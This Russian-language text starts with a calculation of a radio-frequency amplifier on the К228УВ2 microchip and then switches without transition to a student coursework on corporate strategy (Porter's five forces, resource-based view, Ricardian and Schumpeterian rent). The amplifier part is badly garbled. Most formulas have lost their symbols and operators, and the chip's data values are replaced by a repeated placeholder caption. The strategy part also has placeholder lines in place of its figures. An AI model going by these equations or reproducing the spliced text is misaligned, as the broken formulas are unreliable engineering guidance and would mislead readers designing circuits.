где h21эf — модуль коэффициента усиления тока базы в схеме с общим эмиттером на высокой частоте f (приводится обычно в справочнике). Величины rб’ и rб’э определяют в соответствии с известными соотношениями [2] с.114

rб = к  / Cк,

rбэ = T  (1 + h21э) / (11600  Iэ) = T  h21э / (11600

где к — постоянная времени цепи обратное связи транзистора,

Cк — емкость коллекторного перехода; Т — абсолютная температура;

Iэ, Iк — токи в цепи эмиттера и коллектора; коэффициент, зависящий от технологии изготовления транзистора. Для сплавных транзисторов =1, для сплавно-диффузионных = 2, для меза транзисторов = 3. При нормальной температуре

rбэ = 25.6  (1 + h21э) / Iэ (мА)..

Современнее транзисторы имеют h21э, обычно лежащее в пределах от 20 до 200; для маломощных транзисторов rб имеет значение от 30 до 100 Ом, причем меньшие сопротивления из этого интервала соответствуют высокочастотным транзисторам, а большие — низкочастотным.

Довольно часто в справочных данных на микросхему не приводится тип применяемых в ней транзисторов, но даются два различных значения крутизны. Одно из них соответствует средним частотам (S0), а второе Y21f определяется на достаточно высокой частоте f. В этом случае можно найти

Расчет усилителя радиочастоты.

Если в справочнике задана верхняя граничная частота полосы пропускания — fв, т.е. наибольшее значение частоты, на которой коэффициент усиления микросхемы уменьшается на 3 дБ от значения на средних частотах, то

= 1 / (2  fв).

Для многокаскадных микросхем нельзя указать простых методов расчета частотной зависимости их параметров, так как неизвестно соотношение постоянных времен отдельных каскадов усилителя, а следовательно, нельзя определить вклад каждого каскада в формирование спада частотной характеристики усилителя на высоких частотах. Однако в раде случаев по виду схемы можно с большой степенью достоверности оценить влияние того или иного каскада на общую амплитудно-частотную характеристику микросхемы. Так, например, известно, что амплитудно-частотные искажения каскада с общей базой значительно меньше амплитудно-частотных искажений каскада с общим эмиттером. Поэтому, если усилитель имеет в своем составе каскад с общей базой, то его влиянием на амплитудно-частотную характеристику усилителя можно пренебречь. К аналогичным ситуациям может приводить использование в каскадах местных отрицательных обратных связей.

Зависимость параметров микросхемы от частоты удобно характеризовать отношением рабочей частоты f к граничной частоте по крутизне

= f / fв = 2   f

Анализ изменения параметров позволяет выделать три наиболее характерные области. При  0.3 крутизна Y21f, входная емкость транзистора Свх, выходная емкость Свых от частоты практически не зависят. В схеме с общим эмиттером зависимость входного сопротивления Rвх и выходного сопротивления Rвых транзистора от частоты в этом случае выражена очень слабо

Rвхf = Rвх  rб / (rб + 2  Rвх);

Rвыхf = Rвых  / ( + Rвых 2  S0  rб Cк)

При  3 параметры транзисторов имеют наилучшие значения с точки зрения получения высоких технических показателей каскада.

Поэтому использование их при  3 является предпочтительным.

Если 0.3 < < 3,2, то все параметры транзистора в большой степени зависят от рабочей частоты.

Пересчет параметров биполярных транзисторов в схеме с общим эмиттером, может быть осуществлен по формулам:

Y21f = S0 / (1 + 2)0.5 ; Rвхf = Rвх  rб (1 + 2) / (rб + 2  Rвх);

g11f = 1 / Rвхf; Rвх = rб + rбэ; Rвых = (10 … 50) кОм;

Rвыхf = Rвых  / [ + Rвых  S0  rб Cк 2 / (1 + 2)], g22f = 1 / Rвыхf;

Cвхf =  [1 — rб / (rб + rбэ)] / [rб (1 + 2)]; Cвыхf = Cк  [1 + S0  rб / (1 + 2)].

При  3.2 все параметры транзисторов слабо зависят от частоты, но имеют наихудшие значения, при которых их практическое использование оказывается нежелательным.

Необходимо рассчитать однокаскадный одноконтурный усилитель радиочастоты (УРЧ).

Микросхема К228УВ2

Расчет усилителя радиочастоты

Принципиальная схема микросхемы К228УВ2 приведена на рисунке. Она представляет собой дифференциальный усилительный каскад со стабилизацией режима.

Паспортные данные микросхемы:

Расчет усилителя радиочастоты

Напряжения питания микросхемы

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Потребляемая мощность.

Расчет усилителя радиочастоты

Верхняя граничная частота.

Расчет усилителя радиочастоты

Крутизна на частоте 5 МГц.

Расчет усилителя радиочастоты

Крутизна на частоте 60 МГц.

Расчет усилителя радиочастоты

Диапазон регулировки крутизны вольтамперной характеристики на частоте 60 МГц (в дБ).

Расчет усилителя радиочастоты

Входное сопротивление микросхемы на fв.

Расчет усилителя радиочастоты

Входная емкость.

Расчет усилителя радиочастоты

Выходное сопротивление микросхемы.

Расчет усилителя радиочастоты

Выходная емкость.

Примеры включения микросхемы.

Расчет усилителя радиочастоты Расчет усилителя радиочастоты

Дифференциальный усилитель. Усилитель регулируемый.

Проектирование радиоприемных устройств на микросхемах может быть осуществлено по тем же методикам, которые используются при расчете схем, выполненных на дискретных элементах.

Некоторые особенности и трудности проявляются обычно при определении входных и выходных параметров микросхем на рабочих частотах. Эти параметры часто отсутствуют в паспортных данных микросхемы и поэтому их приходится вычислять.

Методики расчета каскадов предварительного усиления низкой частоты, промежуточной частоты, радиочастоты, транзисторных смесителей являются довольно близкими и имеют только некоторые характерные отличия, связанные с различным типом нагрузки, возможной неоднотипностью резонансных систем, частотной зависимостью параметров активных элементов и сопротивления реактивных элементов, неодинаковостью крутизны, входного и выходного сопротивлений каскада, работающего в режимах усиления и преобразования.

Задача расчета указанных типов каскадов состоит в определении эквивалентного сопротивления нагрузки, в том числе параметров и типов резонансных систем (если они есть), их коэффициентов включения, коэффициента усиления каскада, сравнении его с допустимым из условия устойчивости, вычислении величин навесных элементов, служащих для межкаскадной связи, фильтрации напряжения, термостабилизации режима, введений обратных связей, определении входных и выходных сопротивлений каскада и т.п. При расчете радиочастотных трактов радиоприемников, если это необходимо, строят резонансную кривую, характеризующую изменение выходного напряжения от частоты входного сигнала, определяют полосу пропускания каскада, коэффициент шума. При расчете усилителя радиочастоты интересуются изменением резонансного коэффициента усиления каскада по диапазону, выбирая типы схем УРЧ и входной цепи таким образом, чтобы общая неравномерность резонансного коэффициента усиления преселектора по диапазону была минимальной.

Очень важной величиной, определяющей свойства каскада, является коэффициент усиления напряжения. В общем виде его можно найти как

К = Sf R0, где Sf — крутизна транзистора ила микросхемы на рабочей частоте; R0 — сопротивление нагрузки с учетом влияния последующего каскада на рабочей частоте. Рассмотрим эти величины.

Крутизна вольтамперной характеристики микросхем или транзистора как части микросхемы не является постоянной величиной. Она будет иметь паспортные значения только в условиях эксплуатации, близких к условиям измерения. Во всех остальных случаях следует учитывать изменение крутизны при изменении рабочей частоты, тока через транзистор, функции, выполняемой микросхемой (усиление, преобразование частоты), глубину обратной связи.

Определим параметры микросхемы К228УВ2 на следующих частотах:

Расчет усилителя радиочастоты

Частота входного сигнала

Расчет усилителя радиочастоты

Первая промежуточная частота

Вторая промежуточная частота

Расчет усилителя радиочастоты

Для осуществления расчета параметров микросхемы сразу на всех интересующих нас частотах, введем индексацию переменных.

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Исходные данные микросхемы.

Расчет усилителя радиочастоты

Напряжения питания микросхемы

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Потребляемая мощность.

Расчет усилителя радиочастоты

Верхняя граничная частота.

Расчет усилителя радиочастоты

Крутизна на частоте 5 МГц.

Расчет усилителя радиочастоты

Крутизна на частоте 60 МГц.

Расчет усилителя радиочастоты

Диапазон регулировки крутизны вольтамперной характеристики на частоте 60 МГц (в дБ).

Расчет усилителя радиочастоты

Входное сопротивление микросхемы на fв.

Расчет усилителя радиочастоты

Входная емкость.

Расчет усилителя радиочастоты

Выходное сопротивление микросхемы.

Расчет усилителя радиочастоты

Выходная емкость.

Расчет усилителя радиочастоты

Потребляемый ток. Паспортное значение частотной характеристики реализуется при подключении к сигнальному входу сопротивления с величиной 75 Ом, снижающего постоянную времени входной цепи микросхемы и практически определяющего ее входное сопротивление.

Зададим вспомогательные величины:

Расчет усилителя радиочастоты

Постоянная Больцмана.

Расчет усилителя радиочастоты

Заряд электрона.

Расчет усилителя радиочастоты

Средняя температура окружающей среды.

Расчет усилителя радиочастоты

Температура в градусах Кельвина.

Расчет усилителя радиочастоты

Температурный потенциал.

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Сопротивление открытого транзистора VT1 порядка 100 Ом.

Так как типы транзисторов в микросхеме неизвестны, то зададим их ориентировочные параметры, проанализировав параметры бескорпусных транзисторов аналогичного применения.

Расчет усилителя радиочастоты

Емкость коллекторного перехода.

Выходное сопротивление транзистора.

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Объемное сопротивление базы.

Расчет усилителя радиочастоты

Усредненное значение коэффициента усиления по току.

Расчет усилителя радиочастоты

Ток покоя этих транзисторов.

Динамическое сопротивление эмиттерного перехода:

Расчет усилителя радиочастоты

Входная проводимость транзистора на низких частотах:

Расчет усилителя радиочастоты

Постоянная времени входа микросхемы на высоких частотах:

Расчет усилителя радиочастоты

Найдем отношение рабочей частоты f к граничной частоте по крутизне:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Прямая взаимная проводимость:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Входная проводимость транзисторов микросхемы на рабочих частотах:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Входная проводимость микросхемы на рабочих частотах с учетом шунтирования транзисторов сопротивлениями R8, R9:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Входная емкость на рабочих частотах:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Выходная проводимость:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Выходная емкость:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Обратная взаимная проводимость:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Коэффициент устойчивого усиления:

Расчет усилителя радиочастоты

Расчет усилителя радиочастоты

Курсовая работа: Корпоративная стратегия

Введение

Существует множество определений корпоративной стратегии. Первоначально термин использования для описания набора решений, которые определяют цели компании, вырабатывают основную политику, необходимую для достижения этих целей, и составляют перечень бизнесов, к обладанию которыми компания должна стремиться. Понятый буквально, данный термин будет означать, что корпоративная стратегия должна затрагивать любую стратегическую проблему, с которой может столкнуться компания: начиная с выхода Sony на рынок персональных компьютеров до решения владельца ресторана, считающего, что в буфете должно быть «все, что вы можете съесть».

Через какое то время появилось понимание того, что следует различать стратегию делового уровня – видение того, как строить устойчивые конкурентные преимущества на отдельном и всех доступных рынках, и стратегию корпоративного уровня – «полный план для диверсифицированной компании». Эти различия привели к разработке множества ценных аналитических подходов и методов, применимых к стратегии каждого из этих уровней. Раздвоение на проблемы делового и корпоративного уровней, однако, понизило ценность многих важных сфер, где эти два уровня накладываются друг на друга, и воспрепятствовало их интеграции.

Корпоративная стратегия – это способ, которым компания создает стоимость, формируя и координируя свои действия на различных рынках.

Это определение имеет три важных аспекта.

Первый – делается акцент на создании стоимости в качестве окончательной цели корпоративной стратегии. Распределяется ли эта стоимость между акционерами или в дележе участвуют и другие заинтересованные лица – решение об этом принимают те, кто управляет корпорацией.

Долгое время считалось, что разработка и реализация корпоративной стратегии лежат в сфере ответственности высших руководителей. Исполнение этой функции требовало от менеджеров, не только наличия навыков и видения перспектив развития корпорации, необходимых для ее руководства; предполагалось, что, что они должны быть зрелыми корпоративными гражданами, относящимися с должным вниманием ко всем держателям акций.

Если согласиться с данной точкой зрения, то, очевидно, можно допустить, что поведение и деятельность менеджеров потребует не каких-то особых мер дисциплинарного воздействия, а лишь незначительного контроля со стороны. Несмотря на весь этот оптимизм, через какое то время в корпоративном управлении появилось множество проблем.

В 1970-е годы руководители корпораций широко критиковались не за сбрасывание с себя «социальной ответственности», а за загрязнение воздуха и воды, за постоянные проявления несправедливости при найме на работу, а также, в числе прочих нарушений, за участие в незаконных сделках за границей.

Во второй половине 1980-х годов обвинения против менеджеров изменились: на первое место вышел недостаток внимания к их основным обязанностям перед акционерами. С одной стороны, такое поведение объяснялось должностным несоответствием некоторых старших менеджеров. Многие из менеджеров, руководивших фирмами делали вещи: правильно – корректно проводили сделки, действовали необычайно разумно и т.п., — но при этом делали неправильные вещи: например, входили в бизнесы, в которые не следовало входить. Или не могли приспособиться к новым технологиям и глобальным угрозам со стороны конкурентов. Но, несмотря на то, что они реализовывали неверные в своей основе стратегии, многие старшие менеджеры имели настолько прочные позиции, что подолгу оставались на своих местах, придерживаясь тех, же самых стратегий и разрушая при этом стоимость для акционеров.

В 1990-е и 2000-е годы в адрес старших руководителей выдвигалось все больше и больше обвинений в том, что они действуют в своих собственных интересах, личных интересах в ущерб интересам акционеров компании и сторонних пайщиков.

Второй — концентрируется внимание на возможностях корпорации на многочисленных рынках (конфигурация), включая ее продукцию, географическое и вертикальное разделение.

Третий – акцентируется на том, как фирма управляет своими действиями и бизнесами, которые находятся в рамках корпоративной иерархии (координация). Здесь признается важность, как исполнения, так и формулирования корпоративной стратегии.

Независимо от вида стратегии, к реализации которой стремиться фирма, большая часть ее стоимости будет, в конечном счете, образовываться в бизнес–подразделениях через увеличение их способности производить и поставлять товары и услуги клиентам. Таким образом, для создания стоимости, корпорация – чтобы оправдать свое существование в качестве юридического лица, занимающегося многими видами бизнеса, — должна уметь тем или иным способом вносить вклад в конкурентноспособность своих бизнесов. Корпоративная стратегия способствует пониманию стратегии бизнеса, так же как последняя, в свою очередь, дает информацию для анализа. Он сфокусирован на отношениях между фирмой в целом и ее частями, прежде всего на том, улучшается или ухудшается работа ее бизнес – подразделений за счет того, что они входят в корпорацию.

Глава 1.Стратегия бизнес — подразделения.

В мире совершенной конкуренции вся продукция гомогенна. Существует бесчисленные покупатели и продавцы, имеющие доступ к полной информации, но не влияющие на цену покупаемых товаров. В таком мире, не существует ни какой потребности в стратегии, равно как и какой – либо выгоды от ее наличия.

Большинство рынков, однако, не страдают совершенной конкуренцией; они дефицитны и ассиметричны. Либо число продавцов и покупателей ограниченно, продукция гетерогенна, информационные потоки искажены, либо какая-то фирма имеет преимущество, обладая уникальными начальными условиями, не воспроизводимыми для других, либо поставки ограничены. Тщательно отработанная стратегия помогает фирме использовать в своих целях неэффективность рынка, которая существует здесь ввиду несовершенства условий конкуренции и поэтому может играть существенную роль при максимизации прибыли. В такой ситуации следование стратегии имеет две жизненно важные цели.

Одна из них связана с внешним позиционирование фирмы по отношению к ее конкурентам в данной отрасли. Правильно используя сильные и слабые стороны компании, адекватно реагируя на угрозы рынка и предоставляемые возможности, эффективная стратегия может создать конкурентное преимущество, приносящее фирме прибыль, выше среднеотраслевой. Поэтому понимание среды, в которой конкурирует корпорация,, очень важно при формулирование любой стратегии.

Вторая цель стратегии – внутренняя координация всей деятельности фирмы и инвестиций. Стратегия предусматривает выбор позиции на рынке продукции без учета эффективности, с которой этот выбор был осуществлен. Как только положение фирмы на рынке определено, все виды ее деятельности (от исследований и разработок продукта до его маркетинга) должны быть согласованы с этой позицией и друг с другом. Точно так же должны осуществляться и инвестиции: необходимо, чтобы они подкрепляли друг друга и, накапливаясь, приводили через какое-то время к возникновению новых и более значительных конкурентных преимуществ.

Отраслевая и конкурентная позиция.

Доходность каждого бизнес — подразделения, имеющего свою собственную стратегию, может быть разделена на две составные части: средний уровень доходности в данной отрасли и отклонение от этого среднего числа, относящееся к конкурентным преимуществам (или соответствующим недостаткам), которые возникают за счет стратегии, реализуемой данной фирмой в рамках своей отрасли. Оценки относительной важности, так называемых отраслевых эффектов фирмы меняется от исследования к исследованию, но во всех работах высказывается единая точка зрения, что те и другие очень важны. Широко используемый подход к анализу отраслевой доходности и конкурентного преимущества был развит Майклом Портером. Созданная им методика отраслевого анализа представляет собой систематический подход, позволяющий изучать воздействие отраслевой структуры на результаты работы фирмы. Строгая экспертиза внешней среды, в которой фирма, систематизировалась в рамках методологии отраслевого анализа. Корректно выполненный отраслевой анализ помогает установить, является ли данная отрасль привлекательной для среднего конкурента; он также способен показать различия в прибыли, получаемой в конкурентами в данной отрасли. Если смотреть шире, то можно сказать, что отраслевой анализ высвечивает «конкурентный пейзаж» таким образом, чтобы помочь сформулировать эффективные стратегии.

Развивая отраслевую организационную экономику, Портер доказал, что среднеотраслевая доходность в долгосрочном плане представляет собой функцию пяти параметров: угроза со стороны новых участников рынка, покупательная способность, возможности поставщиков, интенсивность конкуренции в рамках данной отрасли и угроза замещения продукции или услуг. Портер также показал, что отраслевая структура «сильно влияет на определение конкурентных правил, равно как и стратегии, потенциально доступные данной фирме».

Данная методология чаще всего используется для оценочного прогноза средней долгосрочной доходности по отрасли.

Доходность на акционерный капитал %

Доходность на активы %

Доходность по отношению к продажам %
Лекарство

21,4

11,8

13,1
Типография и издательство

15,5

7,1

5,5
Продовольственные и родственнее товары

15,2

6,6

3,9

Химикаты и родственные товары

15,1

7,5

7,2
Нефть и нефтепродукты

13,1

6,5

6,5

Инструменты

и родственные товары

12,9

7,2

6,9
Химическая индустрия и синтез

12,9

6,2

6,1
Бумага и родственные изделия

12,9

6,0

5,1
Самолеты, управляемые ракеты

12,4

4,1

3,7
Готовые металлические изделия

12,3

5,7

3,7
Автомашины и оборудования

11,6

5,6

3,7
Резиновые и пластмассовые изделия

11,6

5,1

3,4
Электрическое и электронное оборудование

11,5

5,4

4,4
Машины, кроме электрических

11,1

5,8

3,4

Таблица 1.1 Доходность в производственном секторе.

Как видно из таблицы 1.1, этот показатель может сильно меняться в зависимости от отрасли. Значительное число исследований свидетельствует, что потенциальная прибыль по отрасли ограничена основными условиями, которые в значительной степени можно считать внешними, например ценовой эластичностью спроса и технологией производства. Самое популярное из приложений этих идей — структура «пяти сил» Майкла Портера, применяемая для оценки средней доходности по отрасли (см. рис 1.1)

Корпоративная стратегияКорпоративная стратегияКорпоративная стратегия

Корпоративная стратегия

Корпоративная стратегияКорпоративная стратегия

Корпоративная стратегия

Корпоративная стратегияКорпоративная стратегия

Корпоративная стратегияКорпоративная стратегия

Корпоративная стратегияКорпоративная стратегия

Корпоративная стратегия

Корпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегия Рисунок 1.1

В какой степени потенциальная прибыль в действительности реализуется в отрасли, зависит от показателей внутренней структуры данной отрасли, таких как степень ее концентрации, и стратегий, принятых конкурентами.

Как на отраслевом уровне, так и на уровне фирмы должен существовать некоторый рыночный дефицит, позволяющий поддерживать аномальные прибыли. Высокие доходы на отраслевом уровне, например, часто поддерживаются входными ограничениями, которые затрудняют новым потенциальным конкурентам вхождение в данную отрасль. Аналогичным образом высокодоходные стратегические группы в рамках той или иной отрасли защищены изменяющимися ограничениями, затрудняющими деятельность фирм, использующих один источник конкурентного преимущества для того, чтобы завладеть другим. В рамках той или иной отрасли или стратегической группы выдающиеся результаты работы, которых достигает какая либо компания , должны быть аналогичным образом защищены факторами, мешающим конкурентам воспроизвести ее преимущества; иначе успех этой компании будет мимолетным. Ричард Рюмелт такие препятствия на пути к имитации того, что данная фирма имеет или делает, назвал изолирующими механизмами, Великой стеной, защищающей устойчивое конкурентное преимущество. Изучение этих явлений привело к возникновению совершенно нового подхода – видения, основанного на ресурсах, которыми располагает фирма.

SWOT, до сих пор лежит в основе многих современных подходов к стратегическому планированию. Центральная концепция здесь – понятие соответствия между уникальными возможностями компании и конкурентными требованиями, существующими в отрасли. Вызов для менеджеров состоит в том, чтобы выбрать или создать такую позицию на рынке, при которой явно выраженная компетентность и ресурсы компании способствовали бы возникновению конкурентного преимущества.

Глава II. Ресурсы.

2.1. Классификация ресурсов.

Предпосылкой для развития видения, основанного на ресурсах, служит утверждение, что принципиальное отличие одной компании от другой обусловлено обладанием каждой из них уникальным набором ресурсов. Поскольку многие из этих ресурсов не могут быть накоплены мгновенно, выбор фирмой той или иной стратегии ограничен ее нынешним запасом и скоростью, с которой она может их приобретать или накапливать. Если бы не существовало асимметрии в имеющихся ресурсах и ограничений на скорость изменений, любая компания могла бы выбирать и следовать любой стратегии по усмотрению. В результате успешные стратегии очень быстро были бы скопированы и прибыль упала бы до нуля. Асимметрия в ресурсах является поэтому основой стратегии, источником устойчивого конкурентного преимущества.

Ресурсы имеют множество форм: от обычных исходных факторов, исходного сырья, которое является широкодоступным и может быть легко приобретено путем традиционных сделок, до совершенно индивидуальных ресурсов, например фирменных знаков (брендов), формирующихся в течении многих лет, которые очень трудно подделать.

Ресурсы могут быть разделены на три крупные категории: материальные активы, нематериальные активы и организационные возможности.

Материальные активы легче всего оценить; зачастую они представляют собой единственные ресурсы, которые отражаются в бухгалтерском балансе фирмы. Они включают в себя недвижимое имущество, средство обеспечения производства, сырье и т.д. Хотя материальные ресурсы могут быть существенны для определения стратегии фирмы, из-за своего стандартного характера они лишь изредка служат источником конкурентного преимущества. Существуют, конечно, известные исключения. Поскольку витые медные телефонные провода и коаксиальные кабели, связывающие дома с внешним миром, оказались на выходе в информационной «скоростной магистрали», они повсюду растут в цене.

Нематериальные активы включают в себя такие элементы, как репутация компании, фирменные знаки, культура, знание технологий, патенты и торговые марки, а также накопленные навыки и опыт. Эти активы часто играют важную роль в создании конкурентного преимущества (или его противоположности) и стоимости компании. Неосязаемые активы имеют также важную особенность: они не расходуются в процессе использования. Действительно, если их применять с умом, некоторые из нематериальных активов по мере использования способны расти, а отнюдь не уменьшаться. По этой причине они могут представлять собой ценную основу для увеличения диверсификации.

Организационные возможности не являются входными факторами наподобие материальных и нематериальных ресурсов; они представляют собой сложные комбинации активов, людей и процессов, которые используются организацией для того, чтобы превратить инвестиции в конечную продукцию. Будучи приложенными к физическим технологиям, используемым фирмой в процессе производства, эти организационные механизмы определяют эффективность ее деятельности. Точно подогнанные возможности могут служить источником конкурентного преимущества. Перечень организационных возможностей включает в себя набор умений, ответственных за эффективность и производительность: быстрота, гибкость, более высокое качество и т.д., — все эти моменты могут присутствовать в любом из действий фирмы, от разработки изделия до маркетинга и производства. За несколько прошедших десятилетий некоторые японские автомобильные компании, например, развили у себя множество выдающихся организационных возможностей. Сначала это была низкая цена при сравнительно небольших объемах производства, затем — высокое качество производства, а потом – быстрая разработка новой продукции. Эти организационные возможности дали в итоге важные преимущества, связанные с высокой эффективностью, особенно по сравнению с иностранными конкурентами, и сыграли главную роль в формировании конкурентного преимущества этих фирм.

2.2. Запасы и потоки.

При выявлении корней устойчивого конкурентного преимущества в рамках видения, основанного на ресурсах, внимание, прежде всего, обращается на запасы активов и возможностей (ресурсов), которыми обладает фирма. Поступая, таким образом, мы обеспечиваем иной, более динамичный взгляд на конкурентное преимущество, чем тот, что возникает в результате анализа текущих потоков поступающих и расходуемых средств. В то время как эти потоки преходяще и могут быть мгновенно приспособлены к изменяющимся обстоятельствам, уровни запасов переносятся с одного периода времени на другой и могут накапливаться лишь медленно, с течением времени.

Фундаментальное различие между запасами и потоками может быть проиллюстрировано «метафорой с ванной»: в любой момент времени запас воды в ванне может быть зафиксирован на конкретном уровне, который определяется как сумма двух разнонаправленных потоков воды — входящих (через кран) и исходящих (через сток). В примере с исследованиями и разработками под количеством воды в «сосуде» подразумевается запас навыков в определенный момент времени с учетом того, что поток, соответствующий накоплению, представлен водой, текущий через кран; обесценение навыков через какое-то время обозначается потоком воды, уходящий через сток.

Критический момент, который иллюстрируется «метафорой с ванной», заключается в том, что в то время как потоки могут быть мгновенно отрегулированы, с запасами этого не получиться. Требуется длительный, постоянный поток ресурсов, чтобы накопить желательные изменения стратегических запасов активов.

Чтобы понять различия между запасами и потоками, рассмотрим компанию, которая имеет известный фирменный знак. Потоковый анализ конкурентного преимущества показал бы, что эта компания действительно зарабатывает более высокую прибыль, меньше тратя на проведение рекламных акций и имея возможность назначать более высокие цены, чем ее конкуренты. Но причина, по которой новый конкурент не может успешно копировать эту стратегию, связанная с малыми расходами на рекламу и назначением высокой цены, состоит в том, что он не владеет брендом, сопоставимым по репутации. В этом примере мы имеем дело с запасом, связанным с признанием фирменного знака, который делает данные фирмы различными и таким образом поддерживает конкурентное преимущество. Поэтому в основе возможностей фирмы производить прибыль и выдерживать длительные устойчивые различия (стратегические асимметрии) лежит запас ресурсов.

Тем не менее, потоки важны сами по себе. Предпринимаемые фирмой действия и инвестиции в ресурсы определяются в соответствии с реализуемой ею стратегией. Далее, многие потоки накапливаются и через какое-то время образуют дорогостоящие запасы ресурсов. Длительный процесс деятельности, например запуск новых изделий в производство, может вылиться в уникальную возможность дальнейшего их совершенствования.

Таким образом, в то время как большинство расходных потоков отражается в отчетах и хозяйственной деятельности, многие из них фактически являются долгосрочными инвестициями в самые важные из возможностей фирмы.

2.3. Ценность ресурсов.

Осознать то обстоятельство, что ресурсы способствуют устойчивости конкурентного преимущества, довольно просто, компаниям зачастую сложно идентифицировать и оценить собственные ресурсы и определить, являются ли они их сильными или слабыми сторонами и могут ли они стать источниками устойчивого конкурентного преимущества.

Действительно, как только фирмы начинают оценивать набор ресурсов. Которыми располагают, они обнаруживают целый «мешок» сюрпризов. Некоторые наиболее удачливые находят «драгоценные камни в своей короне» — ресурсы, которые могут служить основой для успешных стратегий.

Какие-то открывают, что из ресурсы – это фактически одни долги. Основная же масса фирм может выявить, что некоторые из их ресурсов заметно лучше тех, которыми располагают конкуренты, но. К сожалению, не оценены по достоинству потребителями.

Задача менеджеров в том, чтобы понять разницу между полезными и ненужными ресурсами и использовать это знание для разработки стратегий, которые создадут устойчивое конкурентное преимущество.

С исторической точки зрения попытки оценить ресурсы чаще напоминали внутренние заумные изыскания, которым недоставало критической объективности.

Видение, основанное на ресурсах, добавило дисциплины этому субъективному процессу, когда при анализе вновь стали принимать во внимание внешние перспективы отрасли и конкурентную динамику.

Важно подчеркнуть, что оценить ресурс можно только с учетом конкретной окружающей среды, в которой конкурирует фирма (см. Рисунок 1.2. Ресурсы и рыночная стратегия).

Как показано на рисунке 1.2, стоимость ресурсов организации определяется ее сложным взаимодействием с окружающей средой конкурентной средой по таким параметрам, как спрос, дефицит и выгодность инвестирования.

Корпоративная стратегия

Корпоративная стратегияКорпоративная стратегияКорпоративная стратегияКорпоративная стратегия

Рисунок 1.2 Ресурсы и рыночная стратегия

Стоимость создается при совпадении трех факторов: когда ресурс востребован клиентами, когда он не может быть скопирован конкурентами и когда прибыль, производимую этим ресурсом, фирма действительно получает.

Спрос со стороны клиентов. Первое обстоятельство, определяющее стоимость ресурса, может быть найдено на товарном рынке. Ценный ресурс должен способствовать удовлетворению потребностей клиента по той цене, которую последний готов уплатить. В любой заданный момент времени эта цена будет определяться предпочтениями клиента, доступными ему альтернативными изделиями (включая замену) и поставкой сопутствующих или дополнительных товаров.

Эти структурные составляющие со временем меняются, поскольку предпочтения потребителей и конкурентное предложения также нестатичны. Поэтому фирмам приходиться непрерывно переоценивать «готовность клиентов платить» и соответствие имеющихся ресурсов нынешним и прогнозируемым потребностям.

Чтобы соответствовать спросу со стороны клиентов, важно иметь ввиду, что ресурсы только тогда имеют стоимость, когда удовлетворяют потребности клиентов лучше, чем аналогичные ресурсы конкурентов. Поэтому в данном контексте термин отличительная компетенция, представляется нам более подходящим, чем ключевая компетенция. Даже с учетом того, что тот или иной ресурс может быть необходим для реализации стратегии, он не будет источником конкурентного преимущества. Если не связан с отличительными особенностями изделий фирмы или способа ведения торговли. Они имеют ценность, только когда обеспечивают конкурентное преимущество.

Ограниченность ресурсов. Второе важнейшее из требований, в случае выполнения которого ресурс может считаться ценным, состоит в его недостаточности. Если данный ресурс имеется в изобилии и всем доступен, любой конкурент может приобрести его и таким образом перенять связанное с ним преимущество фирмы.

В действительности ресурсы, приносящие конкурентное преимущество, по самой своей сути не могут быть общедоступными. Далее, чтобы быть источником устойчивого конкурентного преимущества, недоступность данного ресурса должна сохраняться в течении какого-то времени.

2.4. Конкурентное преимущество ресурсов.

Невоспроизводимость, представляющая собой важнейший элемент процесса создания стоимости, ограничивает конкуренцию. Обладание ресурсом, которые конкуренты могут успешно копировать, позволяет создавать стоимость лишь в течении короткого времени и поэтому не может служить основой для принятия долгосрочной стратегии. Существует четыре условия, исполнение которых делает ресурсы трудными для копирования. Ресурсы, играющие центральную роль при формировании стратегии фирмы, должны отвечать, по крайней мере, одному из них.

Первая категория включает в себя уникальные природные ресурсы, которые просто невозможно скопировать. Прекрасное местоположение недвижимого имущества, право на минеральное сырье или юридически защищенные патенты на производство того или иного препарата просто невозможно перенять.

Значительная часть ресурсов трудна для копирования из-за так называемой зависимости от способов их накопления. Эти ресурсы не могут быть приобретены мгновенно, а должны быть сформированы тем или иным способом в течение определенного времени, которое почти невозможно сократить.

Третий источник невоспроизводимости – неоднозначность причин. Этот термин означает, что люди, потенциально способные произвести репликацию, либо не в состоянии разобраться в том, что именно является ценным ресурсом, либо не могут найти точный способ для его повторения.

Причинная неоднозначность в сфере ресурсов связана зачастую с организационными возможностями. Эти возможности встроены в сложные социальные структуры и взаимодействия и могут быть зависит даже от от индивидуальных качеств нескольких выдающихся людей.

Последний источник невоспроизводимости – экономическое сдерживание. Он возникает, когда конкуренты компании, занимающей лидирующее положение на рынке, в принципе могут скопировать ее ресурсы, но из-за ограниченных возможностей не идут на это. Чаще всего такое решение принимается, если рассматриваемые новые стратегии связаны с большими капиталовложениями, например, в сложные механизмы, обеспечивающие непрерывность производственного процесса, что является очень важной, специфической особенностью данного рынка.

2.5. Экономическая рента.

В рамках видения, основанного на ресурсах, доказывается, что получение компанией прибыли объясняется наличием у нее дефицитного ресурса. Экономисты интерпретируют эту прибыль как ренту, образующуюся благодаря фактору, получение которого ограничено. Однако они делают важное различие между двумя видами экономической ренты:

1. Рента Риккардо, или дефицитная рента, образуется за счет ценных факторов, ограниченных по своей сути – с точки зрения их воспроизводства. Рента Риккардо возникает из дефецита.

2. Рента Шумпетера, или предпринимательская рента, зарабатывается новаторами в период между заявлением об инновации и ее успешным распространением. Ожидается, что новшества через какое-то время будут переняты, но пока этого не произошло, новатор зарабатывает ренту Шумпетера.

